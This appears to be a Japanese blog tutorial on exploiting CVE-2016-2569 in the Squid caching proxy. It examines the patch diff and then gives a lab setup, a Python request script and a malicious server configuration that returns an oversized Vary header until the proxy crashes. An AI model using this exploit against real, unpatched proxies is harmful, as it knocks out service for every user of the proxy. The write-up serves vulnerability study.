
こんにちは、
初めてのブログ記事をお読みいただきありがとうございます。今日は、オープンソースツールの一つであるSquid Caching Proxyサーバーのエクスプロイト作成について解説します。
Squidは、HTTP、HTTPS、FTPなどをサポートするWeb用キャッシングプロキシです。キャッシュと頻繁にリクエストされるWebページの再利用により、帯域幅を削減し応答時間を改善します。Squidは広範なアクセス制御を備えており、優れたサーバーアクセラレータとして機能します。Windowsを含むほとんどのOSで動作し、GNU GPLの下でライセンスされています。Squidキャッシングプロキシの詳細は、公式ウェブサイト[http://www.squid-cache.org/]をご覧ください。
まず、CVEが何かご存知だと思いますが:p ともあれ、CVEはCommon Vulnerabilities and Exposures(共通脆弱性識別子)の略です。(CVEの詳細は[https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures]をご覧ください)
CVE-2016-2569に関する次の情報を見ることができます。
説明: Squid 3.x(3.5.15未満)および4.x(4.0.7未満)は、Stringオブジェクトへのデータの追加を適切に行わないため、リモートサーバーが長い文字列(巧妙に細工されたHTTP Varyヘッダーで示される)を介してサービス拒否(アサーション失敗とデーモン終了)を引き起こす可能性があります。この脆弱性はOpen Systems AGのMathias Fischer氏によって報告されました。
これはオープンソースプロジェクトであるため、この脆弱性を緩和するために使用されたパッチを確認できます。提供された脆弱性の説明に基づき、これがある種のオーバーフローの試みであることを確認できます。さらに詳しく調査するために、ソースを掘り下げていきます。
さらに深掘りしてみましょう....
src/String.ccのコード差分は、aSize変数に対するアサーションを行っているため興味深いです。
=== modified file 'src/String.cc'
--- src/String.cc 2016-01-01 00:14:27 +0000
+++ src/String.cc 2016-02-19 23:15:41 +0000
@@ -42,7 +42,7 @@
String::setBuffer(char *aBuf, String::size_type aSize)
{
assert(undefined());
- assert(aSize < 65536);
+ assert(aSize <= SizeMax_);
buf_ = aBuf;
size_ = aSize;
}
@@ -171,7 +171,7 @@
} else {
// Create a temporary string and absorb it later.
String snew;
- assert(len_ + len < 65536); // otherwise snew.len_ overflows below
+ assert(canGrowBy(len)); // otherwise snew.len_ may overflow below
snew.len_ = len_ + len;
snew.allocBuffer(snew.len_ + 1);
上記のコード差分に基づき、Varyヘッダーの値を65536バイト以上にすることで、脆弱性の悪用を試みることができます。
まずはエクスプロイト環境を作成しましょう。
Linuxシステム(Xubuntu 16.04 LTSを使用)にSquid Caching Proxyをセットアップします。Squidキャッシングプロキシは、metanet HTTPサーバーの応答をキャッシュし、クライアントからの同様のリクエストに対してサーバーに問い合わせる代わりに、メモリキャッシュから応答を送信します。
ネットワークトポロジは以下のようになります(トポロジが古臭くてすみませんが、私はまだVIMが大好きです)。
------------------------- ------------------------- -------------------------
| | | | | |
| metanet | ----> | Squid | -----> | Client |
| 192.168.56.102 | | Caching Proxy | | 192.168.56.1 |
| HTTP Server | <---- | TCP Port 3128 | <---- | Python Requests |
| | | | | |
------------------------- ------------------------- -------------------------
Squidプロキシを介してnginx HTTPサーバーに標準クエリを送信し、ログを確認してセットアップが期待通りに動作しているか確認します。
作業を楽にするために、以下のPythonスクリプトを使用してサーバーにリクエストを送信します。ここで注意すべき重要な点は、リクエストで使用されるヘッダーがプロキシサーバーに応答をキャッシュさせることです。HTTPリクエストヘッダー「If-Modified-Since」、「max-age」、「cache-control」の値が適切でない場合、クライアントリクエストはプロキシサーバーにサーバーへ問い合わせさせることになります。これではプロキシサーバーの目的が完全に損なわれます。
Request.py
#!/usr/bin/env python
import requests, os
proxy = {'http': '192.168.56.102:3128'}
headers = {'If-Modified-Since': 'Wed, 24 Jan 2018 13:58:1 GMT', 'Accept': '*', 'max-age': '20000', 'cache-control': 'public', 'connetction': 'keep-alive', 'user-agent': 'requests2'}
if len(os.sys.argv) != 2:
print "Usage: req [URI]"
os.sys.exit()
print '\nhttp://192.168.56.102:8080/{}'.format(os.sys.argv[1])
r = requests.get('http://192.168.56.102:8080/{}'.format(os.sys.argv[1]), proxies=proxy, headers=headers)
print "\nHTTP Stat Code --> ", r.status_code
print
print "HTTP Response Headers \n",
for h in r.headers:
print h, ": ", r.headers[h]
print
if 'Vary' in r.headers:
print "Vary: ", r.headers['Vary'], "\n"
上記のPythonコードはヘッダーとプロキシを設定し、Python requestsライブラリを使用して192.168.56.102にあるHTTPサーバーにリクエストを送信しています。サーバーまたはプロキシからの応答を受け取ったら、ヘッダーを出力します。特に、HTTPサーバーまたはプロキシサーバーから送信されるVaryヘッダーの応答に関心があります。
セットアップの次のステップは、metanet(HTTPサーバー)のセットアップです。metanetを使用する理由は、さまざまなHTTP応答ヘッダーを簡単に送信できるからです。別の方法として、カスタムHTTP応答を送信できるSimpleHTTPServerを使用することもできます。
Squidキャッシングプロキシが同様の応答をメモリにキャッシュできるように、Varyヘッダーと必要なヘッダーを含む応答を返すようにmetanet設定ファイルを準備する必要があります。
metanet設定は次のようになります。
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:NULL\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
実際にセットアップが動作するか試してみましょう!

設定に基づき、すべてが順調に見えます。w00t w00t!
脆弱性の悪用を試みましょう(HTTP Vary応答ヘッダーとともに長い文字列ベースのバッファを渡す)。これは単純なオーバーフローエクスプロイトです。コード差分から、a_sizeの値が65536を超えてはならないというアサーションがあることがわかります。そこで、Varyヘッダーの長さをそれくらい長くします。
理想的には65536個の標準HTTP応答ヘッダーは存在しません(そんなことになったら大変です😛)。しかし、ヘッダーをでっち上げることはできます。この場合重要なのは、Varyヘッダーに渡される文字列の長さだけです。
Pythonを使用して長い文字列を生成しましょう。例: python -c 'print "a,b,c,d,e,f," *6000'。この出力を使用して、以下のようにmetanet設定を変更し、エクスプロイトをテストします。
metanet設定は次のようになります。
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:`a,b,c,d,e,f,`<reapeated 6000 times>"\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
最初のリクエストをプロキシに送信すると、すべて正常に見えます。プロキシは応答をキャッシュしていないようです。おそらく、Varyヘッダーフィールドに指定した値が原因です。Varyヘッダーで指定された応答ヘッダーは、キャッシュされたコンテンツを検証するためのMD5サムの計算に使用されます。
プロキシに複数のリクエストを送信し続けましょう。何かがおかしいです。プロキシがリクエストに応答しておらず、requestsライブラリから「Proxy Error」が返ってきます。とにかくリクエストを送信し続けましょう。
ああ。頻繁な失敗によりプロキシが停止しました。プロキシを介してサーバーに接続しているデバイスは何にもアクセスできなくなります。これはすべてのプロキシユーザーに対するサービス拒否です。
